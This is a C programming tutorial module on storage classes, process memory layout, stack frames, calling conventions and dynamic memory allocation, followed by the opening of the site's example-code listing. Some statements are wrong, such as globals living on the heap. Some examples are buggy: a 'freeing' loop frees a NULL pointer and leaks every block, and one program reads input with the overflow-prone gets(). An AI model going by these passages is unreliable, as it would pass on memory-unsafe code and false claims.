limited lifetimes (as for automatic variables).
- However, in some applications it may be useful to have data which is accessible from within any block
and/or which remains in existence for the entire execution of the program. Such variables are called
global variables, and the C language provides storage classes which can meet these requirements;
namely, the external (extern) and static (static) classes.

www.tenouk.com Page 1 of 19
- Declaration for external variable is as follows:

extern int var;

- External variables may be declared outside any function block in a source code file the same way any
other variable is declared; by specifying its type and name (extern keyword may be omitted).
- Typically if declared and defined at the beginning of a source file, the extern keyword can be
omitted. If the program is in several source files, and a variable is defined in let say file1.c and
used in file2.c and file3.c then the extern keyword must be used in file2.c and
file3.c.
- But, usual practice is to collect extern declarations of variables and functions in a separate header
file (.h file) then included by using #include.
- Memory for such variables is allocated when the program begins execution, and remains allocated until
the program terminates. For most C implementations, every byte of memory allocated for an external
variable is initialized to zero.
- The scope of external variables is global, i.e. the entire source code in the file following the
declarations. All functions following the declaration may access the external variable by using its
name. However, if a local variable having the same name is declared within a function, references to
the name will access the local variable cell.
- The following program example demonstrates storage classes and scope.

/*storage class and scope*/


#include <stdio.h>

void funct1(void);
void funct2(void);

/*external variable, scope is global to main(), funct1()


and funct2(), extern keyword is omitted here, coz just one file*/
int globvar = 10;

int main()
{
printf("\n****storage classes and scope****\n");
/*external variable*/
globvar = 20;

printf("\nVariable globvar, in main() = %d\n", globvar);


funct1();
printf("\nVariable globvar, in main() = %d\n", globvar);
funct2();
printf("\nVariable globvar, in main() = %d\n", globvar);
return 0;
}

/*external variable, scope is global to funct1() and funct2()*/


int globvar2 = 30;

void funct1(void)
{
/*auto variable, scope local to funct1() and funct1()
cannot access the external globvar*/
char globvar;

/*local variable to funct1()*/


globvar = 'A';
/*external variable*/
globvar2 = 40;

printf("\nIn funct1(), globvar = %c and globvar2 = %d\n", globvar, globvar2);


}

void funct2(void)
{
/*auto variable, scope local to funct2(), and funct2()
cannot access the external globvar2*/
double globvar2;
/*external variable*/
globvar = 50;
/*auto local variable to funct2()*/
globvar2 = 1.234;
printf("\nIn funct2(), globvar = %d and globvar2 = %.4f\n", globvar, globvar2);
}

www.tenouk.com Page 2 of 19
Output:

- External variables may be initialized in declarations just as automatic variables; however, the
initializers must be constant expressions. The initialization is done only once at compile time, i.e. when
memory is allocated for the variables.
- In general, it is a good programming practice to avoid use of external variables as they destroy the
concept of a function as a 'black box'.
- The black box concept is essential to the development of a modular program with modules. With an
external variable, any function in the program can access and alter the variable, thus making debugging
more difficult as well. This is not to say that external variables should never be used.
- There may be occasions when the use of an external variable significantly simplifies the
implementation of an algorithm. Suffice it to say that external variables should be used rarely and with
caution.

Z.1.4 STATIC VARIABLE - static

- As we have seen, external variables have global scope across the entire program (provided extern
declarations are used in files other than where the variable is defined), and have a lifetime over the
entire program run.
- Similarly, static storage class provides a lifetime over the entire program, however; it provides a way to
limit the scope of such variables, and static storage class is declared with the keyword static as the
class specifier when the variable is defined.
- These variables are automatically initialized to zero upon memory allocation just as external variables
are. Static storage class can be specified for automatic as well as external variables such as:

static extern varx;

- Static automatic variables continue to exist even after the block in which they are defined terminates.
Thus, the value of a static variable in a function is retained between repeated function calls to the same
function.
- The scope of static automatic variables is identical to that of automatic variables, i.e. it is local to the
block in which it is defined; however, the storage allocated becomes permanent for the duration of the
program.
- Static variables may be initialized in their declarations; however, the initializers must be constant
expressions, and initialization is done only once at compile time when memory is allocated for the
static variable.

/*static storage class program example*/


#include <stdio.h>
#define MAXNUM 3

void sum_up(void);

int main()
{
int count;

printf("\n*****static storage*****\n");
printf("Key in 3 numbers to be summed ");
for(count = 0; count < MAXNUM; count++)
sum_up();
printf("\n*****COMPLETED*****\n");

www.tenouk.com Page 3 of 19
return 0;
}

void sum_up(void)
{
/*At compile time, sum is initialized to 0*/
static int sum = 0;
int num;

printf("\nEnter a number: ");


scanf("%d", &num);
sum += num;
printf("\nThe current total is: %d\n", sum);
}

Output:

- While the static variable, sum, would be automatically initialized to zero, it is better to do so explicitly.
- In any case, the initialization is performed only once at the time of memory allocation by the compiler.
The variable sum retains its value during program execution.
- Each time the sum_up() function is called sum is incremented by the next integer read. To see the
different you can remove the static keyword, recompile and rerun the program.

Z.2 DYNAMIC MEMORY ALLOCATION

- In the previous section we have described the storage classes which determined how memory for
variables is allocated by the compiler.
- When a variable is defined in the source program, the type of the variable determines how much
memory the compiler allocates.
- When the program executes, the variable consumes this amount of memory regardless of whether the
program actually uses the memory allocated. This is particularly true for arrays.
- However, in many situations, it is not clear how much memory the program will actually need. For
example, we may have declared arrays to be large enough to hold the maximum number of elements
we expect our application to handle.
- If too much memory is allocated and then not used, there is a waste of memory. If not enough memory
is allocated, the program is not able to fully handle the input data.
- We can make our program more flexible if, during execution, it could allocate initial and additional
memory when needed and free up the memory when it is no more needed.
- Allocation of memory during execution is called dynamic memory allocation. C provides library
functions to allocate and free memory dynamically during program execution. Dynamic memory is
allocated on the heap by the system.
- It is important to realize that dynamic memory allocation also has limits. If memory is repeatedly
allocated, eventually the system will run out of memory.

Z.3 PROCESS MEMORY LAYOUT

- A running program is called a process and when a program is run, its executable image is loaded into
memory, normally called a process address space in an organized manner.

www.tenouk.com Page 4 of 19
- This is a physical memory space and do not confuse yourself with the virtual address space explained
in Module W.
- Process address space is organized into three areas of memory, called segments: the text segment, stack
segment, and data segment (bss and data) and can be illustrated below.

Figure: z.1

- The text segment (also called a code segment) is where the compiled code of the program itself resides.
- The following Table summarized the segments in the memory address space layout as illustrated in the
previous Figure.

Segment Description
Often referred to as the text segment, this is the area in which the
executable instructions reside. For example, Linux/Unix arranges things
Code - text so that multiple running instances of the same program share their code if
segment possible. Only one copy of the instructions for the same program resides
in memory at any time. The portion of the executable file containing the
text segment is the text section.
Statically allocated and global data that are initialized with nonzero values
Initialized data – live in the data segment. Each process running the same program has its
data segment own data segment. The portion of the executable file containing the data
segment is the data section.
BSS stands for ‘Block Started by Symbol’. Global and statically allocated
data that initialized to zero by default are kept in what is called the BSS
Uninitialized area of the process. Each process running the same program has its own
data – bss BSS area. When running, the BSS data are placed in the data segment. In
segment the executable file, they are stored in the BSS section. For Linux/Unix the
format of an executable, only variables that are initialized to a nonzero
value occupy space in the executable’s disk file.
The heap is where dynamic memory (obtained by malloc(),
calloc(), realloc() and new – C++) comes from. Everything on a
heap is anonymous, thus you can only access parts of it through a pointer.
As memory is allocated on the heap, the process’s address space grows.
Although it is possible to give memory back to the system and shrink a
Heap process’s address space, this is almost never done because it will be
allocated to other process again. Freed memory (free() and delete –
C++) goes back to the heap, creating what is called holes. It is typical for
the heap to grow upward. This means that successive items that are added
to the heap are added at addresses that are numerically greater than
previous items. It is also typical for the heap to start immediately after the

www.tenouk.com Page 5 of 19
BSS area of the data segment. The end of the heap is marked by a pointer
known as the break. You cannot reference past the break. You can,
however, move the break pointer (via brk() and sbrk() system calls)
to a new position to increase the amount of heap memory available.
The stack segment is where local (automatic) variables are allocated. In C
program, local variables are all variables declared inside the opening left
curly brace of a function body including the main() or other left curly
brace that aren’t defined as static. The data is popped up or pushed into
the stack following the Last In First Out (LIFO) rule. The stack holds
local variables, temporary information, function parameters, return address
and the like. When a function is called, a stack frame (or a procedure
activation record) is created and PUSHed onto the top of the stack. This
Stack
stack frame contains information such as the address from which the
function was called and where to jump back to when the function is
finished (return address), parameters, local variables, and any other
information needed by the invoked function. The order of the information
may vary by system and compiler. When a function returns, the stack
frame is POPped from the stack. Typically the stack grows downward,
meaning that items deeper in the call chain are at numerically lower
addresses and toward the heap.

Table z.1

- In the disk file (object files) the segments were called sections.
- By using a C program, the segments can be illustrated below.

Figure z.2

Z.4 SOME TERMS

- In C language memory allocation through the variables in C programs is supported by two kinds of
memory allocation as listed in the following Table.

www.tenouk.com Page 6 of 19
Memory Allocation
Description
Type
This allocation happens when you declare a static or global variable.
Each static or global variable defines one block of space, of a fixed
size. The space is allocated once, when your program is started, and is
Static allocation
never freed. In memory address space, for uninitialized variables are
stored in bss segment where as initialized variables stored in data
segment.
This allocation happens when you declare an automatic variable, such
as a function argument or a local variable. The space for an automatic
Automatic allocation variable is allocated when the compound statement containing the
declaration is entered, and is freed when that compound statement is
exited. As discussed before this allocation done in the stack segment.

Table z.2

- Dynamic allocation is not supported by C variables; there is no storage class called ‘dynamic’, and
there can never be a C variable whose value is stored in dynamically allocated space.
- The only way to refer to dynamically allocated space is through a pointer. Because it is less
convenient, and because the actual process of dynamic allocation requires more computation time,
programmers generally use dynamic allocation only when neither static nor automatic allocation will
serve.
- The dynamic allocation done by using functions and the memory used is heap area.

Z.5 STACK AND HEAP

- The stack is where memory is allocated for automatic variables within functions. A stack is a Last In
First Out (LIFO) storage where new storage is allocated and de-allocated at only one end, called the top
of the stack. Every function call will create a stack (normally called stack frame) and when the
function exit, the stack frame will be destroyed.
- By referring the following program example and Figure z.3, when a program begins execution in the
function main(), stack frame is created, space is allocated on the stack for all variables declared
within main().
- Then, when main() calls a function, a(), new stack frame is created for the variables in a() at the
top of the main() stack. Any parameters passed by main() to a() are stored on the stack.
- If a() were to call any additional functions such as b() and c(), new stack frames would be
allocated at the new top of the stack. Notice that the order of the execution happened in the sequence.
- When c(), b() and a() return, storage for their local variables are de-allocated, the stack frames are
destroyed and the top of the stack returns to the previous condition. The order of the execution is in the
reverse.
- As can be seen, the memory allocated in the stack area is used and reused during program execution. It
should be clear that memory allocated in this area will contain garbage values left over from previous
usage.

#include <stdio.h>

int a();
int b();
int c();

int a()
{
b();
c();
return 0;
}

int b()
{ return 0; }

int c()
{ return 0; }

int main()
{
a();
return 0;
}

www.tenouk.com Page 7 of 19
- By taking just the stack area, the following Figure illustrates what happened to the stack when the
above program is run. At the end there should be equilibrium.

Figure z.3: Stack frame and function call

Z.5.1 FUNCTION CALLING CONVENTION

- It has been said before, for every function call there will be a creation of a stack frame. It is very useful
if we can study the operation of the function call and how the stack frame for function is constructed
and destroyed.
- For function call, compilers have some convention used for calling them. A convention is a way of
doing things that is standardized, but not a documented standard.
- For example, the C/C++ function calling convention tells the compiler things such as:

▪ The order in which function arguments are pushed onto the stack.
▪ Whether the caller function or called function (callee) responsibility to remove the arguments
from the stack at the end of the call that is the stack cleanup process.
▪ The name-decorating convention that the compiler uses to identify individual functions.

- Examples for calling conventions are __stdcall, __pascal, __cdecl and __fastcall (for
Microsoft Visual C++).
- The calling convention belongs to a function's signature, thus functions with different calling
convention are incompatible with each other.
- There is currently no standard for C/C++ naming between compiler vendors or even between different
versions of a compiler for function calling scheme.
- That is why if you link object files compiled with other compilers may not produce the same naming
scheme and thus causes unresolved externals. For Borland and Microsoft compilers you specify a
specific calling convention between the return type and the function's name as shown below.

void __cdecl TestFunc(float a, char b, char c); //Borland and Microsoft

- For the GNU GCC you use the __attribute__ keyword by writing the function definition followed
by the keyword __attribute__ and then state the calling convention in double parentheses as
shown below.

void TestFunc(float a, char b, char c) __attribute__((cdecl)); //GNU GCC

- As an example, Microsoft Visual C++ compiler has three function calling conventions used as listed in
the following table.

Stack
keyword Parameter passing
cleanup
Pushes parameters on the stack, in reverse order (right to left). Caller cleans
up the stack. This is the default calling convention for C language that
supports variadic functions (variable number of argument or type list such
__cdecl caller
as printf()) and also C++ programs. The cdecl calling convention
creates larger executables than __stdcall, because it requires each
function call to include stack cleanup code.

www.tenouk.com Page 8 of 19
Also known as __pascal. Pushes parameters on the stack, in reverse order
(right to left). Functions that use this calling convention require a function
__stdcall callee
prototype. Callee cleans up the stack. It is standard convention used in
Win32 API functions.
Parameters stored in registers, then pushed on stack. The fastcall calling
__fastcall callee convention specifies that arguments to functions are to be passed in
registers, when possible. Callee cleans up the stack.

Table z.3: Function calling conventions

- Basically, C function calls are made with the caller pushing some parameters onto the stack, calling the
function and then popping the stack to clean up those pushed arguments. For __cdecl assembly
example:

/*example of __cdecl*/
push arg1
push arg2
call function
add ebp, 12 ;stack cleanup

- And for __stdcall example:

/*example of __stdcall*/
push arg1
push arg2
call function
/*No stack cleanup, it will be done by caller

- It is a long story if we want to go into the details of the function calls, but this section provides a good
introduction :o).

Z.5.2 DYNAMIC ALLOCATION – THE FUNCTIONS

- The heap segment provides more stable storage of data for a program; memory allocated in the heap
remains in existence for the duration of a program.
- Therefore, global variables (external storage class), and static variables are allocated on the heap. The
memory allocated in the heap area, if initialized to zero at program start, remains zero until the program
makes use of it. Thus, the heap area need not contain garbage.
- In ANSI C (ISO/IEC C), there is a family of four functions which allow programs to dynamically
allocate memory on the heap.
- In order to use these functions you have to include the stdlib.h header file in your program. Table
z.4 summarized these functions.
- Keep in mind that there are other functions you will find for dynamic memory allocation, but they are
implementation dependant.

Function Prototype and Description


malloc() void * malloc (size_t nbytes);
nbytes is the number of bytes that to be assigned to the pointer. The function returns a
pointer of type void*. When allocating memory, malloc() returns a pointer which is
just a byte address. Thus, it does not point to an object of a specific type. A pointer type that
does not point to a specific data type is said to point to void type, that is why we have to
type cast the value to the type of the destination pointer, for example:

char * test;
test = (char *) malloc(10);

This assigns test a pointer to a usable block of 10 bytes.

calloc() void * calloc (size_t nelements, size_t size);


calloc() is very similar to malloc in its operation except its prototype have two
parameters. These two parameters are multiplied to obtain the total size of the memory block
to be assigned. Usually the first parameter (nelements) is the number of elements and the
second one (size) serves to specify the size of each element. For example, we could define
test with calloc:

www.tenouk.com Page 9 of 19
int * test;
test = (int *) calloc(5, sizeof(int));

Another difference between malloc and calloc is that calloc initializes all its elements
to 0.

realloc() void * realloc (void * pointer, size_t elemsize);


It changes the size of a memory block already assigned to a pointer. pointer parameter
receives a pointer to the already assigned memory block or a null pointer (if fail), and size
specifies the new size that the memory block shall have. The function assigns size bytes of
memory to the pointer. The function may need to change the location of the memory block so
that the new size can fit; in that case the present content of the block is copied to the new
one. The new pointer is returned by the function and if it has not been possible to assign the
memory block with the new size it returns a null pointer.

free() void free (void * pointer);


It releases a block of dynamic memory previously assigned using malloc, calloc or
realloc. This function must only be used to release memory assigned with functions
malloc, calloc and realloc.

NULL is a defined constant used to express null pointers, that is, an


NULL
unassigned pointer or a pointer that points to something but not useful.

Defined type used as arguments for some functions that require sizes or
counts specifications. This represents an unsigned value generally defined in
size_t
header files as unsigned int or by using typedef, typedef
unsigned int size_t;

Table z.4

- In practice, one must always verify whether the pointer returned is NULL. If malloc() is successful,
objects in dynamically allocated memory can be accessed indirectly by dereferencing the pointer,
appropriately cast to the type of required pointer.
- The size of the memory to be allocated must be specified, in bytes, as an argument to malloc().
Since the memory required for different objects is implementation dependent, the best way to specify
the size is to use the sizeof operator. Recall that the sizeof operator returns the size, in bytes, of
the operand.
- For example, if the program requires memory allocation for an integer, then the size argument to
malloc() would be sizeof(int).
- However, in order for the pointer to access an integer object, the pointer returned by malloc() must
be cast to an int *.
- The typical code example may be in the following form:

int *theptr;
theptr = (int *)malloc(sizeof(int));

- Now, if the pointer returned by malloc() is not NULL, we can make use of it to access the memory
indirectly. For example:

if (theptr != NULL)
*theptr = 23;

- Or, simply:

if (theptr)
*theptr = 23;
printf("Value stored is %d\n", *theptr);

- Later, when the memory allocated above may no longer be needed we have to free up the memory
using:

free((void *) theptr);

www.tenouk.com Page 10 of 19
- This will de-allocate the previously allocated block of memory pointed to by theptr or simply, we
could write:

free(theptr);

- theptr is first converted to void * in accordance with the function prototype, and then the block of
memory pointed to by theptr is freed.
- It is possible to allocate a block of memory for several elements of the same type by giving the
appropriate value as an argument. Suppose, we wish to allocate memory for 200 float numbers. If
fptr is a:

float *

- Then the following statement does the job:

fptr = (float *) malloc(200 * sizeof(float));

- Pointer fptr points to the beginning of the memory block allocated, that is the first object of the block
of 200 float objects, fptr + 1 points to the next float object, and so on.
- In other words, we have a pointer to an array of float type. The above approach can be used with data
of any type including structures.
- In C++ the equivalent construct used are new for memory allocation and delete for de-allocation.

Z.6 PROGRAM EXAMPLES

- The following program example allocates memory using malloc(). In this program we cast the
void * to int type. There is no data stored in the memory requested; just an empty memory request
and we do not de-allocate the memory as well.

/*Playing with malloc(), memory on the heap*/


#include <stdio.h>
#include <stdlib.h>

void main()
{
int x;
int *y;
/*do 100000 times iteration, 100000 blocks*/
for(x=0; x<100000; x++)
{
/*For every iteration/block, allocate 16K,
system will truncate to the nearest value*/
y = (int *)malloc(16384);
/*If no more memory*/
if(y == NULL)
{
puts("No more memory lol!");
/*exit peacefully*/
exit(0);
}
/*Allocate the memory block, print the block and the address*/
printf("Allocating-->block: %i address: %p\n", x, y);
}
/*Here, we do not free up the allocation*/
}

Output:

www.tenouk.com Page 11 of 19
- Eventually, at some point in the run, the program will stop because there is no more memory to be
allocated.
- During the program run, the paging or swapping activity will be obvious because system is serving the
memory request. For Windows there may be message box indicating your system having low virtual
memory. The worst case, your system may hang :o).
- The program uses the (int *) prototype to allocate 16,384 bytes (16K) of memory for every loop’s
iteration. malloc() returns the address of the memory block that successfully allocated.
- When malloc() returns NULL, it means no more memory could be allocated. The actual size of 16K
chunks the program allocates depends upon which memory module/model your compiler is using.
- The free() function de-allocates memory allocated by malloc() and every time you allocate
memory that’s not used again in a program; you should use the free() function to release that
memory to heap.
- The following program example de-allocates the memory for the previous program.

/*Playing with free(), memory on the heap*/


#include <stdio.h>
#include <stdlib.h>

void main()
{
int x;
int *y;
int *buffer = NULL;
/*do 100 times iteration, 100 blocks*/
for(x=0; x<100; x++)
{
/*For every iteration/block, allocate 16K,
system will truncate to the nearest value*/
y = (int *)malloc(16384);
/*If there is a problem*/
if(y == NULL)
{
puts("No more memory for allocation lol!");
/*exit peacefully*/
exit(0);
}
/*Allocate the memory block, print the block and the address*/
printf("Allocating-->block: %i address: %p\n", x, y);
printf("---->Freeing the memory block: %i address: %p\n", x, y);
free((void *)buffer);
}
}

Output:

www.tenouk.com Page 12 of 19
- You’ll notice that the program runs all the way through, allocating memory and freeing it up so that
you really never run out of memory.
- free() actually doesn't erase memory; it merely flags a chunk of memory as available for re-
allocation by another malloc() function on the heap.
- The following program example demonstrates the use of malloc() and calloc() to allocate
memory for an array of integers.
- You should always verify if the return value from malloc() and calloc() are NULL or not
because the system may have run out of memory.

/*malloc() and struct*/


#include <stdio.h>
#include <stdlib.h>

struct record{
char name[15];
int age;
int id_num;
};

int main()
{
struct record *ptr;
printf("\n--malloc() & struct--\n");
ptr = (struct record *)malloc((sizeof(struct record)));

if(ptr)
{
printf("\nStudent Name: ");
gets(ptr->name);
printf("Student Age: ");
scanf("%d", &ptr->age);
printf("Student Id: ");
scanf("%d", &ptr->id_num);
printf("\nStudent Name: %s", ptr->name);
printf("\nStudent Age: %d", ptr->age);
printf("\nStudent Id Number: %d\n", ptr->id_num);
free(ptr);
}
else
printf("\nMemory allocation fails!!!\n");
return 0;
}

Output:

www.tenouk.com Page 13 of 19
- Another malloc() and calloc() program example.

/*Playing with malloc() and calloc()*/


#include <stdio.h>
#include <stdlib.h>

#define END 10

int main()
{
int *ptr1, *ptr2, *ptr3;
int i;

/*Get memory for an array using malloc() - 1 parameter*/


ptr1 = (int *) malloc(END*sizeof(int));
/*If memory allocation fails...*/
if (ptr1 == NULL)
{
fprintf(stderr, "malloc() failed!\n");
/*exit with an error message*/
exit(1);
}

/*Initialize the array using array notation*/


for(i = 0; i < END; i++)
{
ptr1[i] = i+i;
}
/*********************************************************/
/*Getting memory for an array using calloc() - 2 parameters*/
ptr2 = (int *) calloc(END, sizeof(int));
/*If memory allocation fails...*/
if(ptr2 == NULL)
{
fprintf(stderr, "calloc() failed!\n");
/*exit with an error message*/
exit(1);
}
/*Initialize the array using pointer arithmetic*/
ptr3 = ptr2;
for(i = 0; i < END; i++)
{
*(ptr3++) = i+i;
}

/*Print array contents*/


printf("---Using malloc()---\n");
printf("Array pointed by ptr1:\n");
for(i = 0; i < END; i++)
{
printf("%3d ", ptr1[i]);
}
printf("\n\n");

printf("---Using calloc()---\n");
printf("Array pointed by ptr2:\n");
for(i = 0; i < END; i++)
{
printf("%3d ", ptr2[i]);
}
printf("\n\n");
return 0;
}

www.tenouk.com Page 14 of 19
Output:

- More calloc() and malloc() program example.

/*calloc() and malloc() example*/


#include <stdlib.h>
#include <stdio.h>
#define n 10

/*a struct*/
typedef struct book_type
{
int id;
char name[20];
float price;
}book;

int main(void)
{
int *aPtr = NULL, *bPtr = NULL, m = 0;
char *str = NULL;
book *bookPtr = NULL;

/*create an int array of size 10*/


aPtr = (int *)calloc(n, sizeof(int));
/*do some verification*/
if(aPtr == NULL)
{
printf("calloc for integer fails lol!\n");
exit (0);
}
else
printf("memory allocation for int through calloc() is OK\n");

/*create a char array of size 10*/


str = (char *)calloc(n, sizeof(char));
if(str == NULL)
{
printf("calloc for char fails lol!\n");
exit (0);
}
else
printf("memory allocation for char through calloc() is OK\n");

/*create a structure of book*/


bookPtr = (book *)malloc(sizeof(book));
if(bookPtr == NULL)
{
printf("malloc for struct fails lol!\n");
exit (0);
}
else
printf("memory allocation for struct through malloc() is OK\n");

/*clean up the memory allocated*/


free(aPtr);
free(str);
free(bookPtr);

/*other way*/
/*get the number of elements from the user and then allocate*/
printf("\nEnter the size of integer array (bytes): ");
scanf("%d", &m);

www.tenouk.com Page 15 of 19
bPtr = (int *)calloc(m, sizeof(int));
if(bPtr == NULL)
{
printf("calloc for int fails lol!\n");
exit (0);
}
else
printf("memory allocation for int through calloc() is OK\n");
free(bPtr);
return 0;
}

Output:

- Program example for realloc.

/*Playing with realloc(). Store user input in an array*/


#include <stdio.h>
#include <stdlib.h>

#define INITIAL_SIZE 5;

int main()
{
int *Arr, *temp;
int limit, input, n = 0, r, i;

/*Initially, allocate some space for A*/


limit = INITIAL_SIZE;
Arr = (int *) malloc (limit * sizeof(int));
/*Do some verification, if fail*/
if (Arr == NULL)
{
/*Display the error message*/
fprintf(stderr, "malloc() failed!\n");
/*Exit with the error code*/
exit(1);
}

/*array loop*/
printf("Enter numbers, 1 per line. End with ctrl-D\n");
while(1)
{
printf("Next number: ");
r = scanf("%d", &input);
fflush(stdin);

/*verify the input*/


if(r < 1)
break;
/*Get more space for Arr using realloc()*/
if(n >= limit)
{
printf("More than 5 elements per loop, reallocating the storage... \n");
limit = 2 * limit;
temp = (int *)realloc(Arr, limit * sizeof(int));
/*Verify again...*/
if(temp == NULL)
{
fprintf(stderr, "realloc() failed!\n");
exit(1);
}
else
printf("realloc is OK lol, proceed your input...\n");
Arr = temp;
}

www.tenouk.com Page 16 of 19
Arr[n] = input;
n++;
}

/*Trim Arr down to size*/


temp = (int *)realloc(Arr, n*sizeof(int));
/*Verify...*/
if(temp == NULL)
{
fprintf(stderr, "realloc() fails lol!\n");
exit(1);
}

Arr = temp;

printf("\nContents of the array Arr:\n");


/*Print the array*/
for(i = 0; i < n; i++)
{
printf("%2d ", Arr[i]);
}
printf("\n");
return 0;
}

Output:

- Program examples compiled using gcc.

/*calloc() and malloc() example*/


#include <stdlib.h>
#include <stdio.h>
#define n 10

/*a struct*/
typedef struct book_type
{
int id;
char name[20];
float price;
}book;

int main(void)
{
int *aPtr = NULL, *bPtr = NULL, m = 0;
char *str = NULL;
book *bookPtr = NULL;

www.tenouk.com Page 17 of 19
/*create an int array of size 10*/
aPtr = (int *)calloc(n, sizeof(int));
/*do some verification*/
if(aPtr == NULL)
{
printf("calloc for integer fails lol!\n");
exit (0);
}
else
printf("memory allocation for int through calloc() is OK\n");

/*create a char array of size 10*/


str = (char *)calloc(n, sizeof(char));
if(str == NULL)
{
printf("calloc for char fails lol!\n");
exit (0);
}
else
printf("memory allocation for char through calloc() is OK\n");

/*create a structure of book*/


bookPtr = (book *)malloc(sizeof(book));
if(bookPtr == NULL)
{
printf("malloc for struct fails lol!\n");
exit (0);
}
else
printf("memory allocation for struct through malloc() is OK\n");

/*clean up the memory allocated*/


free(aPtr);
free(str);
free(bookPtr);

/*other way*/
/*get the number of elements from the user and then allocate*/
printf("\nEnter the size of integer array (bytes): ");
scanf("%d", &m);
bPtr = (int *)calloc(m, sizeof(int));
if(bPtr == NULL)
{
printf("calloc for int fails lol!\n");
exit (0);
}
else
printf("memory allocation for int through calloc() is OK\n");
free(bPtr);
return 0;
}

- Another program example.

[bodo@bakawali ~]$ gcc memalloc.c -o memalloc


[bodo@bakawali ~]$ ./memalloc

memory allocation for int through calloc() is OK


memory allocation for char through calloc() is OK
memory allocation for struct through malloc() is OK

Enter the size of integer array (bytes): 37


memory allocation for int through calloc() is OK

/****************malalloc.c***************************/
/************run on FeDora 3 Machine*********************/
/*Playing with malloc() and free(), memory on the heap*/
#include <stdio.h>
#include <stdlib.h>

int main()
{
int x;
int *y;
int *buffer = NULL;
/*do 100 times iteration, 100 blocks*/
for(x=0; x<100; x++)

www.tenouk.com Page 18 of 19
{
/*For every iteration/block, allocate 16K,
system will truncate to the nearest value*/
y = (int *)malloc(16384);
/*If there is a problem*/
if(y == NULL)
{
puts("No more memory for allocation lol!");
/*exit peacefully*/
exit(0);
}
else
{
/*Allocate the memory block, print the block and the address*/
printf("Allocating-->block: %i address: %p\n", x, y);
free((void *)buffer);
printf("---->Freeing the memory block: %i address: %p\n", x, y);
}
}
return 0;
}

[bodo@bakawali ~]$ gcc malalloc.c -o malalloc


[bodo@bakawali ~]$ ./malalloc

Allocating-->block: 0 address: 0x804a008


---->Freeing the memory block: 0 address: 0x804a008
Allocating-->block: 1 address: 0x804e010
---->Freeing the memory block: 1 address: 0x804e010
Allocating-->block: 2 address: 0x8052018
---->Freeing the memory block: 2 address: 0x8052018
Allocating-->block: 3 address: 0x8056020
---->Freeing the memory block: 3 address: 0x8056020
Allocating-->block: 4 address: 0x805a028
---->Freeing the memory block: 4 address: 0x805a028
Allocating-->block: 5 address: 0x805e030
---->Freeing the memory block: 5 address: 0x805e030

-----------------------------------o0o -----------------------------------

Further reading and digging:

1. Check the best selling C and C++ books at Amazon.com.

www.tenouk.com Page 19 of 19
file:///C|/Tutorial.txt

===============================Module1=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

#include <stdio.h>

file:///C|/Tutorial.txt (1 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int main()
{
return 0;
}

-----------------------------------------------------------

/*More simplest program example*/


/*preprocessor directives - header file*/
#include <stdio.h>
#include <stdlib.h>

/*main() function with no argument*/


/*and int return value…*/
int main()
{
printf("Testing 1...2...3...\n");
printf("Hello dude!\n");
return 0;
}

-----------------------------------------------------------------

/*More simplest program example*/


/*preprocessor directives - header file*/
#include <stdio.h>
#include <stdlib.h>

/*main() function with no argument*/


/*and no return value…*/
void main()
{
printf("Testing 1...2...3...\n");
printf("Hello dude!\n");
return;
}

-----------------------------------------------------------------

/*More simplest program example*/


/*preprocessor directives - header file*/
#include <stdio.h
#include <stdlib.h>

/*main() function with no argument*/


/*and no return value…*/
void main()
{
printf("Testing 1...2...3...\n");
printf("Hello dude!\n");
}

-----------------------------------------------------------------

//Another simplest program example


//preprocessor directives - header files

file:///C|/Tutorial.txt (2 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Change the header files accordingly for C++ codes...using


//VC++/VC++ .Net and other C++ standard compliance compiler...
//#include <iostream>
//#include <cstdlib>
//using namespace std;
#include <iostream.h>
#include <stdlib.h>

//main() function with no argument


//and int return value…
int main( )
{
cout<<"testing 1..2..3..\n";
//system call ‘pause’
//command to wait temporarily for user action
//by calling the system pause command
//pause is Borland specific, for other compilers you may
//discard this and its header <stdlib.h>
system("pause");

//return to Operating System, no error


return 0;
}

---------------------------------------------------------------------------------

//More simplest program example


//preprocessor directives - header files
#include <iostream.h>
#include <stdlib.h>

//main() function with no argument


//and int return value…
int main()
{
cout<<"testing 1..2..3..\n";

//system call ‘pause’


//command to wait temporarily for user action
//by calling the system pause command
//pause is Borland specific, for other compilers you may
//discard this and its header <stdlib.h>
system("pause");

//return to Operating System, no error


return 0;
}

------------------------------------------------------------------------------------

//Simple greeting program using an array, pointer and selection


//you will learn more about array, pointer and selection later.
//The following #include … called preprocessor directive/header files.
//Means include the iostream.h file so that the compiler can find the
//definition for the cin and cout, then the cin and cout can function properly
//#include <iostream>

file:///C|/Tutorial.txt (3 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//for system()
//#include <cstdlib>
//using namespace std;

#include <iostream.h>
//for system()
#include <stdlib.h>

int main(void)
{
//normal variable and array with their respective data type
char name[11], name1[11], sex;

cout<<"\nEnter your first name (max 10 characters): ";


cin>>name;

cout<<"Enter your last name (max 10 characters): ";


cin>>name1;
cout<<"\nEnter your sex (M or F): ";
cin>>sex;

//test whether male or female


if (sex == 'M')

//array name without brackets is the pointer to the first


//array's element
cout<<"\nHow are you, Mr. "<<name<<" "<<name1<<endl;
else
